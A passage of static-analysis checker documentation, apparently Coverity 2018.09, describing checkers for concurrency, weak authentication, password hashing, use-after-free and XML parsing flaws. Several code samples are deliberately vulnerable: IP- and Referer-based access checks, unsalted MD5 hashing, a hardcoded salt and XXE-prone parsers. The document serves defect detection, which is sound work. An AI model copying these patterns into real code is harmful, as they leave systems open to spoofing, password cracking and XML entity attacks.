Some defects found by this checker might be fixed by using a thread-safe class or
library to replace or atomically update a volatile field. In Java, an
AtomicInteger, AtomicBoolean, or
AtomicReference object might be useful substitutes because these
objects have compare-and-swap methods that permit safe updates. In C#, the
System.Threading.Interlocked class can perform a wide variety of atomic
operations to ensure atomic updating of a volatile field.
In other cases, it is worth checking to see if the field is not thread-shared, because in this case the volatile modifier might not be needed and can be eliminated to improve performance.
The impact (high, medium, low) reported by this checker depends on heuristics that attempt to quantify the risk related to the defect. For example, if comparisons of the field in question suggest it has semantic meaning we consider the defect to have a higher impact. If comparisons suggest a statistical nature we consider the defect to have a lower impact.
Enabled by default: VOLATILE_ATOMICITY is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more VOLATILE_ATOMICITY examples.
As the following example shows, appropriate locking or the use of atomic types/methods is an effective way to fix this defect.
using System.Threading;
public class Example1 {
private volatile int x;
public void UpdateX() {
x++; //A VOLATILE_ATOMICITY defect here.
}
}
public class Example2 {
private volatile int x;
private volatile int y;
public void SumIntoX() {
x = x + y; //A VOLATILE_ATOMICITY defect here.
}
}
public class NoDefect {
private volatile int x;
private object aLock;
public void UpdateX() {
lock(aLock) {
x++; //No VOLATILE_ATOMICITY defect here.
}
}
}
public class NoDefect2 {
private volatile int x;
public void UpdateX() {
Interlocked.Increment(ref x); //No VOLATILE_ATOMICITY defect here.
}
}
In the following example, if updateCounter() is called from
multiple threads, the value of counter might be less than the number of
calls to updateCounter().
import java.util.concurrent.atomic.AtomicInteger;
class VolatileAtomicityExample {
volatile int counter = 0;
public void updateCounter() {
counter++; //A VOLATILE_ATOMICITY defect here.
}
}Appropriate locking or the use of atomic types/methods is an effective way to fix this defect.
class AtomicFieldExample {
AtomicInteger counter;
public void updateCounter() {
counter.addAndGet(1); //No VOLATILE_ATOMICITY defect here.
}
}This section describes one or more events produced by the VOLATILE_ATOMICITY checker.
read_volatile - Represents the read of the volatile
field.
intervening_update - Represents an update to the volatile
field that another thread could perform between this thread's
read_volatile and stale_update
event.
stale_update - Main event that occurs when the volatile
field is updated with a potentially stale value due to an
intervening_update event that occurs between this event
and the read_volatile event.
WEAK_BIOMETRIC_AUTH reports the use of biometric authentication
that can be easily bypassed. The LocalAuthentication framework provides basic biometric
authentication, for example using fingerprints with TouchID or facial recognition with
FaceID. LocalAuthentication may be appropriate for some applications, but it can be
bypassed or circumvented in cases where the device has been jailbroken or stolen. This
may allow an attacker to access the application with the user's credentials.
Higher-security applications should use the KeyChain services API to protect sensitive
data or functionality.
Enabled by default: WEAK_BIOMETRIC_AUTH is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more WEAK_BIOMETRIC_AUTH examples.
This example uses the LAContext API (evaluatePolicy) to perform biometric authentication.
import Foundation
import LocalAuthentication
func authenticateUser() -> Bool {
let myContext = LAContext()
let myLocalizedReasonString = "Biometric Authentication for Todo List Access."
var authError: NSError?
if #available(iOS 8.0, macOS 10.12.1, *) {
if myContext.canEvaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, error: &authError) {
// Weak Biometric Authentication here
myContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: myLocalizedReasonString) { success, evaluateError in
return success
}
}
}
return false
}Supported Languages: C, C++, Java, Objective-C, Objective-C++
WEAK_GUARD finds comparisons of unreliable data (for example, host names, IP addresses, and so on) to constant strings. Code that uses such a comparison instead of an authorization or authentication check is vulnerable to exploitation by attacks such as DNS poisoning, or IP spoofing. Coverity refers to such a check as a "weak guard".
While this checker does not look for authorization or authentication checks themselves, it does support a customization by which a user marks certain operations as "protected". The checker reports any such operations protected by weak guards in a different, higher-impact subcategory.
Disabled by default: WEAK_GUARD is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable WEAK_GUARD
along with other Web application checkers,
use the --webapp-security
option.
A WEAK_GUARD defect shows a data flow path in which unreliable data (for example, host names or IP addresses) are compared to constant strings. The path starts at a source of unreliable data, such as an unreliable host name obtained through a reverse DNS lookup. From there the events in the defect show how this unreliable data flows through the program, for example, from the argument of a function call to the parameter of the called function. The main event of the defect shows how the unreliable data is compared to a constant string. For example, the unreliable host name could be compared to a whitelisted domain. If the unreliable comparison guards a sensitive operation, then the defect includes an event for this as well.
This section provides one or more WEAK_GUARD examples.
The following example performs a reverse DNS lookup using the
gethostbyaddr function, which returns an unreliable host name. This
is compared to a constant string, which the checker reports as a dns
defect.
void test() {
struct sockaddr_in serviceClient;
struct hostent *hostInfo
= gethostbyaddr((char*)&serviceClient.sin_addr,
sizeof(serviceClient.sin_addr),
AF_INET);
if (strcmp(hostInfo->h_name,
"www.domain.nonexistanttld") == 0) {
// WEAK_GUARD DNS defect
protected_operation();
}
}void cwe291(HttpServletRequest request) throws Exception {
// getRemoteAddr() returns an unreliable address.
String sourceIP = request.getRemoteAddr();
// WEAK_GUARD: the address is compared to a constant string.
if (sourceIP != null && sourceIP.equals("134.23.43.1")) {
// This is a sensitive operation that depends on the weak guard.
protectedOperation();
}
}
void cwe290b() {
// getProperty("user.name") returns an unreliable user name.
// WEAK_GUARD: the user name is compared to a constant string.
if (System.getProperty("user.name").equals("root")) {
// This is a sensitive operation that depends on the weak guard.
protectedOperation();
}
}
boolean cwe293(HttpServletRequest request){
// getHeader("referer") returns an unreliable referrer.
String referer = request.getHeader("referer");
// A constant string is set to trustedReferer.
String trustedReferer = "http://www.example.com/";
// WEAK_GUARD: the referer is compared to a constant string.
if(referer.equals(trustedReferer)){
// This is a sensitive operation that depends on the weak guard.
protectedOperation();
}
}This section describes one or more WEAK_GUARD options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
WEAK_GUARD:always_report_ip_address:<boolean> - If
this option is set to true, the
checker will report the ip_address subcategory of defect. However,
if a sensitive operation depends on such a defect, the checker will report the
related high-impact subcategory of defect, ip_address_sensitive_op,
by default, without the need to set this option to true. Defaults to
WEAK_GUARD:always_report_ip_address:false.
WEAK_GUARD:always_report_os_login:<boolean> - If
this option is set to true, the
checker will report an issue that corresponds to the os_login
subcategory of defect. However, if a sensitive operation depends on such a
defect, the checker will report the related high-impact subcategory of defect,
os_login_sensitive_op, by default, without the need to set this
option to true. Defaults to
WEAK_GUARD:always_report_os_login:false.
WEAK_GUARD:always_report_principal_name:<boolean> -
If this option is set to true, the
checker will report an issue that corresponds to the principal_name
subcategory of defect. However, if a sensitive operation depends on such a
defect, the checker will report the related high-impact subcategory of defect,
principal_name_sensitive_op, by default, without the need to
set this option to true. Defaults to
WEAK_GUARD:always_report_principal_name:false.
This __coverity_security_operation__() primitive indicates the
presence of a sensitive operation. It promotes a defect found by the WEAK_GUARD
checker to high impact in programs where a weak guard is used to control the
execution of a sensitive operation.
The following example performs a reverse DNS lookup using the
gethostbyaddr function, which returns an unreliable host name. This
is compared to a constant string in order to guard access to a sensitive operation
(as indicated by the use of the __coverity_security_operation__
primitive). The checker reports this as a dns_sensitive_op defect,
which has a higher impact that the corresponding dns defect than would
be reported in the absence of the primitive.
void test() {
struct sockaddr_in serviceClient;
struct hostent *hostInfo
= gethostbyaddr((char*)&serviceClient.sin_addr,
sizeof(serviceClient.sin_addr),
AF_INET);
if (strcmp(hostInfo->h_name,
"www.domain.nonexistanttld") == 0) {
// WEAK_GUARD dns_sensitive_op defect
__coverity_security_operation__();
protected_operation();
}
}The following example uses the @SensitiveOperation annotation.
@SensitiveOperation native void protectedOperation();
@SensitiveOperation bool isTrusted;
boolean cwe293(HttpServletRequest request){
// getHeader("referer") returns an unreliable referer.
String referer = request.getHeader("referer");
// A constant string is set to trustedReferer.
String trustedReferer = "http://www.example.com/";
// WEAK_GUARD: the referer is compared to a constant string.
if(referer.equals(trustedReferer)){
// This is a sensitive operation that depends on the weak guard.
protectedOperation();
// Now this is also a sensitive operation since isTrusted has been annotated.
isTrusted = true;
}
}![]() | |
Note that the |
This section describes one or more events produced by the WEAK_GUARD checker.
assign - Unreliable data propagates from one variable to
another inside a function.
argument - An argument to a method uses unreliable data.
attr - Unreliable data is stored as a Web application
attribute that has page, request, session, or application scope.
call - A method call returns unreliable data.
concat - Unreliable data is concatenated with other
data.
map_write - A write of unreliable data to a map
occurs.
map_read - A read of unreliable data from a map
occurs.
parm_in - This method parameter is passed unreliable
data.
parm_out - This method parameter stored unreliable
data.
remediation - Information about ways to address the security
vulnerability.
returned - A method call returns unreliable data.
returning_value - The current method returns unreliable
data.
sanitizer - Unreliable data passes through a
sanitizer.
sensitive_operation - A call to a sensitive operation.
unreliable_data - The method from which unreliable data
originates.
weak_guard - (main event) A weak guard compares unreliable
data to a constant string.
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++, Visual Basic
WEAK_PASSWORD_HASH finds code that applies a cryptographic hash function (also known as a one-way hash function) to password data in a cryptographically weak manner. In such cases, the computational effort required to retrieve passwords from their hashes might be insufficient to deter large-scale, password-cracking attacks. Examples of weak hashing include the following:
Using a hashing algorithm that is cryptographically weak (such as MD5).
Hashing without iterating the hash function a large number of times.
Hashing without using a salt as part of the input.
Hashing with a salt that is not random and uniquely chosen for each password.
The recommended method of hashing sensitive password data is to generate a random
sequence of bytes (a "salt") for each password that you intend to hash, to hash the
password and the salt with an adaptive hash function such as bcrypt,
scrypt, and PBKDF2 (Password-Based Key Derivation Function
2), and then to store the hash and the salt for subsequent password checks.
Disabled by default: WEAK_PASSWORD_HASH is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable WEAK_PASSWORD_HASH
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable WEAK_PASSWORD_HASH
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
A WEAK_PASSWORD_HASH defect shows a data flow path in which password data is passed as input to a weak hash operation. The path shows the source of the password data, such as a method call that returns such data, or an identifier whose name indicates that it contains password data. From there, the events in the defect show how this password data flows through the program, for example, from the argument of a function call to the parameter of the called function. The path shows the various cryptographic data elements that are used to set up the weak hash operation, such as its hashing algorithm and its inputs. Specifically, the path shows how the sensitive password data flows into one of these inputs. Finally, the main event of the defect shows the point where the weak hash operation is performed on the input password data.
This section provides one or more WEAK_PASSWORD_HASH examples.
The following example hashes a password using a weak hashing algorithm (SHA-512)
and without using a salt, which the checker reports as a
weak_hash_no_salt defect for this code.
void test() {
HCRYPTPROV hCryptProv;
HCRYPTHASH hHash;
UCHAR calcHash[64];
DWORD hashSize = 64;
char password[128];
CryptAcquireContextW(&hCryptProv, 0, 0, PROV_RSA_FULL, 0);
CryptCreateHash(hCryptProv, CALG_SHA_512, 0, 0, &hHash);
CryptHashData(hHash, (BYTE*)password, strlen(password), 0);
CryptGetHashParam(hHash, HP_HASHVAL, (BYTE*)calcHash, &hashSize, 0);
//WEAK_PASSWORD_HASH defect
}The following example hashes a password using a weak hashing algorithm (MD5) and without using a salt, which the checker reports as a weak_hash_no_salt defect for this code.
public byte[] hashPassword(String password)
throws NoSuchAlgorithmException, UnsupportedEncodingException
{
MessageDigest hash = MessageDigest.getInstance("MD5");
return hash.digest(password.getBytes("UTF-8"));
}The following example uses a unique random salt when hashing
each password, but uses a non-iterative hashing function. So the checker will report
a weak_hash defect for this code. However, you can suppress this report by
specifying the allow-sha2 checker option.
public byte[] hashPassword(PasswordAuthentication pa)
throws NoSuchAlgorithmException, UnsupportedEncodingException
{
MessageDigest hash = MessageDigest.getInstance("SHA-512");
SecureRandom prng = SecureRandom.getInstance("SHA1PRNG");
hash.update(prng.generateSeed(32));
return hash.digest(new String(pa.getPassword()).getBytes("UTF-8"));
}The following example shows a weak password hashing method because MD5 is used. In addition, the hash here is unsalted.
using System;
using System.Security.Cryptography;
using System.Text;
public byte[] getPasswordHash1(string password)
{
var hash = HashAlgorithm.Create("MD5");
return hash.ComputeHash(Encoding.UTF8.GetBytes(password)); // defect
}The following example shows a weak password hashing method because MD5 is used. In addition, the salt here is fixed.
public byte[] getPasswordHash2(string password)
{
const string SALT = "Hc4HsaNJ69haeu6uKhsJnAKp";
var hash = HashAlgorithm.Create("MD5");
return hash.ComputeHash(Encoding.UTF8.GetBytes(password + SALT)); // defect
}The following example shows a weak password hashing method because MD5 is used. In addition, the hash is unsalted.
imports System
imports System.Security.Cryptography
imports System.Text
Public Function getPasswordHash1(password As String) As Byte()
Dim hash = HashAlgorithm.Create("MD5")
Return hash.ComputeHash(Encoding.UTF8.GetBytes(password)) ' defect
End FunctionThe following example shows a weak password hashing method because MD5 is used; but here, the salt is fixed.
imports System
imports System.Security.Cryptography
imports System.Text
Public Function getPasswordHash2(password As String) As Byte()
Const SALT As String = "Hc4HsaNJ69haeu6uKhsJnAKp"
Dim hash = HashAlgorithm.Create("MD5")
Return hash.ComputeHash(Encoding.UTF8.GetBytes(password + SALT)) 'defect
End FunctionThis section describes one or more WEAK_PASSWORD_HASH options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
WEAK_PASSWORD_HASH:allow_sha2:<boolean> - If this option is set to true, the checker
will suppress weak hashing defects when the hashing algorithm is SHA-2 (for
example, SHA-256, SHA-384, SHA-512). Defaults to
WEAK_PASSWORD_HASH:allow_sha2:false.
WEAK_PASSWORD_HASH:report_weak_hashing_on_all_strings:<boolean>
- If this option is set to true,
the checker will treat any string as though it contains password data, meaning
that it will report all weak hashing, even on non-password sources such as
constant strings. Defaults to
WEAK_PASSWORD_HASH:report_weak_hashing_on_all_strings:false.
Java examples:
public void test_constant() throws Throwable {
MessageDigest hash = MessageDigest.getInstance("MD5");
hash.digest("constant".getBytes()); // WEAK_PASSWORD_HASH defect
}
public void test2_name_param(byte[] asdf) throws Throwable {
MessageDigest hash = MessageDigest.getInstance("MD5");
hash.digest(asdf); // WEAK_PASSWORD_HASH defect
}This option is set automatically if the
--webapp-security-aggressiveness-level option is set to
high.
Note that the analysis treats certain fields and parameters as password data based on
their names. For example, passing a parameter named password into a weak
hashing function will trigger a WEAK_PASSWORD_HASH defect. The following command line
options allow you to specify the pieces of program data that the analysis will treat as
password data: --add-password-regex and
--replace-password-regex. For details, see the
cov-analyze command documentation in the Coverity 2018.09 Command Reference.
Java models and annotations (see Section 6.3, “Models and Annotations in Java”) can modify or extend the default set of fields, parameters, method return values, and so on, that the analysis can treat as sources of password data.
To specify password sources, you can write a model that uses a Coverity model primitive.
For Java, the model uses the sensitive_source primitive with
SensitiveDataType.SDT_PASSWORD as the source kind, for
example:
Object returnsPassword() {
// This function returns password data.
sensitive_source(SensitiveDataType.SDT_PASSWORD);
}
void storesPasswordInParam(Object arg1) {
// The parameter arg1 will be treated as password data.
sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
}Additionally, you can use the @SensitiveData annotation in place of
the primitives where applicable. For examples, see @SensitiveData.
Coverity models a number of such sources by default.
public byte[] hashPassword(java.net.PasswordAuthentication pa) {
MessageDigest hash = MessageDigest.getInstance("MD5");
return hash.digest(new String(pa.getPassword()).getBytes()); // defect
}To specify password sources, you can write a model that uses the
Coverity.Primitives.SensitiveSource primitive with
Coverity.Primitives.SensitiveDataType.Password as the source kind,
for example:
Object returnsPassword() {
// This function returns password data.
sensitive_source(SensitiveDataType.SDT_PASSWORD);
}
void storesPasswordInParam(Object arg1) {
// The parameter arg1 will be treated as password data.
sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
}Additionally, you can use the [SensitiveData] attribute in place of the primitives where applicable.
This section describes one or more events produced by the WEAK_PASSWORD_HASH checker.
alias - Propagating password data from one variable to
another inside a function.
assign - Assigning password data to a variable.
crypto_field - The analysis detects a cryptographic data
element. This element might specify a hashing algorithm, input password or salt
data, or some other information that is relevant to the checker.
hash - A hash operation is performed.
remediation - Information about ways to address the weak
password hashing vulnerability.
weak_hash_no_salt - (main event) Hashing data using a weak
hash function and no salt.
weak_hash_weak_salt - (main event) Hashing data using a weak
hash function and a constant salt.
weak_hash - (main event) Hashing data using a weak hash
function.
weak_salt - (main event) Hashing data using a constant
salt.
Dataflow events
argument - An argument to a method uses password data.
annotated_password - Annotating a field, method, or parameter
as a password.
call - A method call returns password data.
concat - Concatenating password data with other data.
field_def - Password data passes through a field.
field_read - Reading password data from a field.
field_write - Writing password data to a field.
inferred_password - The name of a field, method, or parameter
suggests that the element is a password.
map_read - Reading password data from a map.
map_write - Writing password data to a map.
parm_in - Passing password data to a method parameter.
parm_out - Storing password data as a method
parameter.
password - The method is modeled to return password
data.
returned - A method call returns password data.
returning_value - The current method returns password
data.
WRAPPER_ESCAPE finds many instances where the internal
representation of a string wrapper class (such as CComBSTR,
_bstr_t, CString, or
std::string) for a local- or global-scope object escapes the
current function. The usual effect is a use-after-free error because the object destroys
its internal BSTR upon exit. Whatever uses the escaped pointer now has an invalid
pointer.
You can also customize the classes and functions that WRAPPER_ESCAPE evaluates when reporting defects.
Enabled by default: WRAPPER_ESCAPE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more WRAPPER_ESCAPE examples.
BSTR has_a_bug()
{
return CComBSTR(L"temporary object"); // bug
}WRAPPER_ESCAPE also finds use-after-free errors occurring in a function after an object has been destroyed. The reports are similar to those that USE_AFTER_FREE produces, but WRAPPER_ESCAPE uses different algorithms and tends to find different types of bugs.
void has_another_bug()
{
char const *p;
{
std::string s("hi");
p = s.c_str();
} // s is destroyed
use(p); // use after free
}In the following example, internal representation escapes from a global object and an invalid pointer is used.
string global_string;
char const *test() {
char const *s = global_string.c_str(); // internal representation escapes
global_string += "foobaz"; // invalidation
return s; // use of invalid pointer
}The checker reports escapes from STL containers, as in the following example.
#include <vector>
void use(int);
void buggy() {
std::vector<int> v;
v.push_back(10);
int &x = v.back();
v.push_back(20); // might reallocate memory
use(x); // using possibly invalid memory
}This section describes one or more WRAPPER_ESCAPE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
WRAPPER_ESCAPE:config_file:<path-to-config-file> -
C++ option that specifies a path to a
configuration file. By default, the analysis uses
the configuration found in
<install_dir>/config/wrapper_escape.conf.
WRAPPER_ESCAPE:escape_locals_only:<boolean> - When this
C++ option is set to true, the checker
will only report defects if the internal representation escapes from a
stack-allocated object. Defaults to
WRAPPER_ESCAPE:escape_locals_only:false
WRAPPER_ESCAPE:skip_AddRef_callers:<boolean> - When
this C++ option is set to true, the checker
will not report a defect on any function that calls the AddRef()
method. This option exists to work around false positives caused when the
checker fails to properly interpret a reference counting idiom. Defaults to
WRAPPER_ESCAPE:skip_AddRef_callers:false
Edit wrapper_escape.conf to add classes (and set rules for
functions in these classes) that WRAPPER_ESCAPE will evaluate for defects. This
configuration file (see the config_file checker option)
has comments and examples that explain and illustrate the syntax.
This section describes one or more events produced by the WRAPPER_ESCAPE checker.
dtor_free - The destructor frees the internal
representation.
init_param - A wrapper class object is a parameter.
init_ctor - A wrapper class object is initialized by its
constructor.
invalidate - An operation on the wrapper class invalidates
(frees) the internal representation.
create_new_obj - A new wrapper class object is
allocated.
create_new_repr - The internal representation is allocated as
a result of an operation on the wrapper class.
init_assign - Assignment of wrapper class objects causes the
internal representation to be allocated.
copy - A wrapper or internal representation pointer is copied
among local variables.
extract_<desc> - The internal representation is
extracted from a wrapper object that is parameter,
temporary, or local.
use_after_free - An object is used after being freed.
use_agg_after_free - An aggregate object (such as a structure
or array) is used, even though it contains a pointer to a freed value.
escape_<
- The internal representation in a parameter, temporary, or local wrapper object
escapes the function's lifetime through one of the following sites:
site>_<obj>return, deref_assign, field_assign,
or global_assign.
escape_<site>_indir - The internal representation of
some object was copied into a local variable, and now is escaping through a
site.
escape_<site>_agg_indir - An aggregate (structure or
array) value escapes through a site, but contains a pointer to an internal
representation of some object.
WRONG_METHOD finds certain incorrect usage of
Boolean.getBoolean, Integer.getInteger, and some of their
variants. For example, Boolean.getBoolean and
Integer.getInteger return the value of a given system property and
parse it to Boolean and Integer type, respectively. So they expect a string (as the
first argument) that represents the name of a system property. A typical
misunderstanding is that Boolean.getBoolean parses strings like
true and false to Boolean values and
Integer.getInteger does something similar. In fact,
Boolean.valueOf and Integer.valueOf methods are intended
for that purpose.
Enabled by default: WRONG_METHOD is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more WRONG_METHOD examples.
The following code is a command-line parser, and args[i] is an
arbitrary value, which might not be the name of a system property.
static void main(String args[])
{
for(int i=0; i<args.length; i++) {
if( args[i].equals("--amount") ) {
i++;
Integer amount = Integer.getInteger( args[i] ); // Defect here.
}
}
}In the following example, the CONST_STR field was intended to be
declared final, which is missing from the code. Passing a non-final
field normally suggests incorrect usage of the Integer.getInteger
method. In the example, the CONST_STR represents a system property that
was not marked final. To fix such issues, Coverity recommends making the
fields final.
private static String CONST_STR = "com.my_company.field_name";
void init() {
Integer field = Integer.getInteger(CONST_STR); // Defect here.
}This section describes one or more WRONG_METHOD options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
WRONG_METHOD:ignore_pattern:<regular_expression> - If
this option is specified, the checker will
suppress defects where the first argument is a field or a method with a name
(identifier only) that matches this regular expression. Matching is
case-insensitive. The empty pattern matches none, effectively disabling this
pattern matching. Defaults to
WRONG_METHOD:ignore_pattern:.*prop.*|.*name. That is,
the defect is also suppressed for identifiers whose names end with
name, which eliminates some false positives.
Supported Languages: C#, Java, JavaScript, PHP, Python, and Visual Basic
XML_EXTERNAL_ENTITY reports a defect when tainted data is passed (as XML input) to an improperly configured XML parser. A weakly configured XML parser can be exploited by an attacker to cause a wide range of issues such as denial of service, other excessive use of local resources, leaking sensitive data or generating unwanted server requests.
Disabled by default: XML_EXTERNAL_ENTITY is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable XML_EXTERNAL_ENTITY
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable XML_EXTERNAL_ENTITY
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Python support: Security checkers are supported for Python 2.7.x only.
This section provides examples of defects found by the XML_EXTERNAL_ENTITY checker. In each example, an XML parser is set up without adequate protection and is then used to parse tainted input. The vulnerability is two-fold:
The parser does not limit recursive entity expansion. Processing an arbitrary document type declaration (DTD) in the XML input may result in parsing a large number of entities, causing denial of service.
The parser allows arbitrary external entity references. An attacker-controlled DTD can specify an external URL, making the impact of processing the DTD analogous to a server-side request forgery.
class XMLExternalEntity {
void Test(HttpRequest req) {
XmlTextReader reader = new XmlTextReader(req.InputStream);
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(reader); // Defect here.
}
}public class XMLExternalEntity {
public void test(HttpServletRequest req) throws Exception {
DocumentBuilderFactory factory =
DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(req.getInputStream());
// Defect here.
}
}Class XMLExternalEntity
Sub Test(req As HttpRequest)
Dim reader As XmlTextReader = New XmlTextReader(req.InputStream)
Dim xmlDoc As XmlDocument = New XmlDocument()
xmlDoc.Load(reader) ' Defect here.
End Sub
End ClassIn the following example, the defect is reported for the call to
etree_parse.
from lxml.etree import parse as etree_parse
from lxml.etree import ETCompatXMLParser
from django.conf.urls import url
def load_xml(request):
input_xml_file = request.body
parser = ETCompatXMLParser();
etree_parse(input_xml_file, parser);
urlpatterns = [
url(r'index', load_xml)
]In the following example, a defect is reported for the call to
simple_xml_load.
<?php
$filename = $_GET['path'];
$config = simple_xml_load_file($fileName); ?>In the following example, a defect is reported for the call to
parser.parse.
var express = require('express');
var expat = require('node-expat');
var app = express();
var parser = new expat.Parser('UTF-8');
app.get('/summary', function(req, res) {
console.log(req.query.path);
parser.parse(req.query.path); // Defect Here
res.sendStatus('Status:' + 1);
});
app.listen(3000, function() {console.log('Listening ');});This section describes the options for the XML_EXTERNAL_ENTITY checker.
You can set specific checker option values by passing them with
--checker-option to the cov-analyze command. For
details, refer to the Coverity 2018.09 Command Reference.
XML_EXTERNAL_ENTITY:distrust_all:<boolean> - [JavaScript,
PHP, Python 2] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
XML_EXTERNAL_ENTITY:distrust_all:false.
This checker option is automatically set to true if the
XML_EXTERNAL_ENTITY:webapp-security-aggressiveness-level option
of the cov-analyze command is set to
high.
XML_EXTERNAL_ENTITY:trust_command_line:<boolean> -
[JavaScript, PHP, Python 2] Setting this option to
false causes the analysis to treat command line arguments as tainted.
Defaults to
XML_EXTERNAL_ENTITY:trust_command_line:true. Setting this
checker option will override the global --trust-command-line and
--distrust-command-line command line options.
XML_EXTERNAL_ENTITY:trust_console:<boolean> - [JavaScript,
PHP, Python 2] Setting this option to false causes
the analysis to treat data from the console as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_console:true. Setting
this checker option will override the global --trust-console and
--distrust-console command line options.
XML_EXTERNAL_ENTITY:trust_cookie:<boolean> - [JavaScript,
PHP, Python 2] Setting this option to false causes the analysis to treat data
from HTTP cookies as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie command line options.
XML_EXTERNAL_ENTITY:trust_database:<boolean> - [JavaScript,
PHP, Python 2] Setting this option to false causes the analysis to treat data
from a database as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_database:true. Setting
this checker option will override the global --trust-database and
--distrust-database command line options.
XML_EXTERNAL_ENTITY:trust_environment:<boolean> -
[JavaScript, PHP, Python 2] Setting this option to false causes the analysis to
treat data from environment variables as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_environment:true. Setting this
checker option will override the global --trust-environment and
--distrust-environment command line options.
XML_EXTERNAL_ENTITY:trust_filesystem:<boolean> -
[JavaScript, PHP, Python 2] Setting this option to false causes the analysis to
treat data from the filesystem as tainted. Defaults
to XML_EXTERNAL_ENTITY:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem and
--distrust-filesystem command line options.
XML_EXTERNAL_ENTITY:trust_http:<boolean> - [JavaScript, PHP,
Python 2] Setting this option to false causes the analysis to treat data from
HTTP requests as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
XML_EXTERNAL_ENTITY:trust_http_header:<boolean> -
[JavaScript, PHP, Python 2] Setting this option to false causes the analysis to
treat data from HTTP headers as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_http_header:false.
Setting this checker option will override the global
--trust-http-header and --distrust-http-header
command line options.
XML_EXTERNAL_ENTITY:trust_network:<boolean> - [JavaScript,
PHP, Python 2] Setting this option to false causes the analysis to treat data
from the network as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_network:false. Setting
this checker option will override the global --trust-network and
--distrust-network command line options.
XML_EXTERNAL_ENTITY:trust_rpc:<boolean> - [JavaScript, PHP,
Python 2] Setting this option to false causes the analysis to treat data from
RPC requests as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_rpc:false. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
XML_EXTERNAL_ENTITY:trust_system_properties:<boolean> -
[JavaScript, PHP, Python 2] Setting this option to false causes the analysis to
treat data from system properties as tainted. Defaults to
XML_EXTERNAL_ENTITY:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
This section describes one or more events produced by the XML_EXTERNAL_ENTITY checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
XML_INJECTION finds cases where XML with user-controllable content is parsed. If the input data is not properly sanitized, a malicious user might be able to insert unintended content or structure to subvert the application's logic. This can be accomplished by escaping the intended context and inserting additional element tags. The security impact depends on the nature of the XML data and how it is consumed.
Disabled by default: XML_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
An XML_INJECTION defect shows a dataflow path by which untrusted (tainted) data is passed through the program and eventually parsed as XML input. The first event describes the source of the tainted data. It is followed by events that trace the step-by-step propagation through the program. The last event shows the string being passed to an XML parser.
This section provides one or more XML_INJECTION examples.
This example parses an HTTP request msg into XML DOM and passes
tainted input to an XML parser.
// Parse HTTP request attribute "msg" into XML DOM
XmlDocument GetXmlDOM(HttpRequest Request)
{
// Defect: Passing a tainted input to an XML parser
var reader = new XmlTextReader(new StringReader(Request["msg"]));
reader.DtdProcessing = DtdProcessing.Prohibit;
var doc = new XmlDocument();
doc.Load(reader);
return doc;
}Consider a Web service that constructs an XML document to communicate with an internal service to fulfill orders. An message might look like the following example:
<transaction> <user>joe123</user> <ship_to>XXX</ship_to> <item>Laptop computer</item> <item>Laser printer</item> </transaction>
Such a message might be produced by using the following Java code, which allows
the user to specify the ship_to element body through an HTTP request
parameter. The user is not intended to have control over the other elements in the
message.
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
Document getXmlMsg(HttpServletRequest req, String user, List<String> items)
throws Exception
{
// Build XML string
